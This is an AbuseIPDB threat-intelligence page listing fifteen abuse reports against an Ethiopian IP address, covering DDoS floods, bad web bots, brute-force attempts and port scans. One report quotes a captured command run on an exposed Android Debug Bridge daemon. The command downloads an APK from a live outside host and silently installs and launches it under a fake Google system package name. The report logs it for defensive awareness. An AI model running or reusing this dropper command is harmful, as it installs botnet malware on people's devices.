JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 196.189.152.203

196.189.152.203 was found in our database!

This IP was reported 15 times. Confidence of Abuse is 20%: ?

20%

ISP	Ethio Telecom
Usage Type	Fixed Line ISP
ASN	AS24757
Domain Name	ethiotelecom.et
Country	🇪🇹 Ethiopia
City	Addis Ababa, Addis Ababa

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 196.189.152.203

Whois 196.189.152.203

IP Abuse Reports for 196.189.152.203:

This IP address has been reported a total of 15 times from 12 distinct sources. 196.189.152.203 was first reported on April 4th 2024, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 drewf.ink	2026-10-10 03:51:46 (1 week ago)	[03:51] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/ ... show more [03:51] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null\|\|cd /sdcard 2>/dev/null\|\|cd /tmp 2>/dev/null\|\|cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk\|\|toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null \| awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ show less	Hacking Exploited Host IoT Targeted
🇩🇪 LRob	2026-10-03 12:46:00 (1 week ago)	Shop search flood (L7 DDoS) \| path: /34-meilleur-velo-plus-de-10000-euros \| query: q=Ann%C3%A9e-2026 ... show more Shop search flood (L7 DDoS) \| path: /34-meilleur-velo-plus-de-10000-euros \| query: q=Ann%C3%A9e-2026/Taille-XS \| src_port: 8622 show less	DDoS Attack Web App Attack
🇺🇸 鬼影233	2026-09-24 10:57:22 (3 weeks ago)	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0. ... show more Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 08:33:28 (3 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 06:35:51 (3 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 05:38:46 (3 weeks ago)	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0. ... show more Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 show less	Bad Web Bot
🇵🇱 bmino.pl	2026-08-06 04:40:53 (2 months ago)	Autoban IP(2): 196.189.152.203 - Hostname: Ethiotelecom - City: Addis Ababa - Region: Addis Ababa - ... show more Autoban IP(2): 196.189.152.203 - Hostname: Ethiotelecom - City: Addis Ababa - Region: Addis Ababa - Country: Ethiopia - Location: 9.0245,38.7485 - Organization: AS24757 Ethio Telecom - failed attempts. show less	Web App Attack
🇺🇸 kosada.com	2026-06-29 12:40:02 (3 months ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇩🇪 SMARTNET	2026-05-27 06:03:53 (4 months ago)	Aisuru(Mirai variant) DDoS \| Incident ID: 22ada211-5b5c-463a-b46f-60fd11dc639d	DDoS Attack
Anonymous	2026-05-09 06:43:33 (5 months ago)	Unauthorized connection to Telnet port 23	Port Scan
🇨🇳 ThreatBook.io	2026-05-01 00:31:44 (5 months ago)	ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/196.189.152.203	SSH
🇮🇹 A000Z	2026-03-23 10:29:31 (6 months ago)	Fail2Ban: 196.189.152.203 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/ ... show more Fail2Ban: 196.189.152.203 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 NetGuard	2026-01-09 07:44:48 (9 months ago)	🚨 CRITICAL: Real-time threat on Cowrie \| unknown \| Port 23 \| PhantomGrid Real-time Defense	Brute-Force SSH
Anonymous	2025-11-26 06:01:33 (10 months ago)	scanning http requests from known botnet	Web App Attack
Anonymous	2024-04-04 16:22:25 (2 years ago)	Ports: 25,587,465; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH

Showing 1 to 15 of 15 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇧🇪 198.235.24.149

🇵🇰 182.176.88.232

🇵🇦 179.43.153.2

🇮🇶 169.224.6.17

🇺🇸 162.216.150.169

🇳🇬 102.88.137.213

🇺🇸 100.29.192.70

🇧🇬 78.128.113.22

🇺🇸 64.62.197.119

🇨🇳 61.179.24.55

🇯🇵 34.146.72.70

🇰🇷 20.214.147.109

🇺🇸 3.151.116.231

🇧🇪 198.235.24.146

🇳🇱 192.253.248.173

🇺🇸 192.253.209.100

🇫🇮 147.185.133.106

🇰🇷 121.184.128.107

🇸🇬 114.119.140.50

🇳🇱 109.160.32.162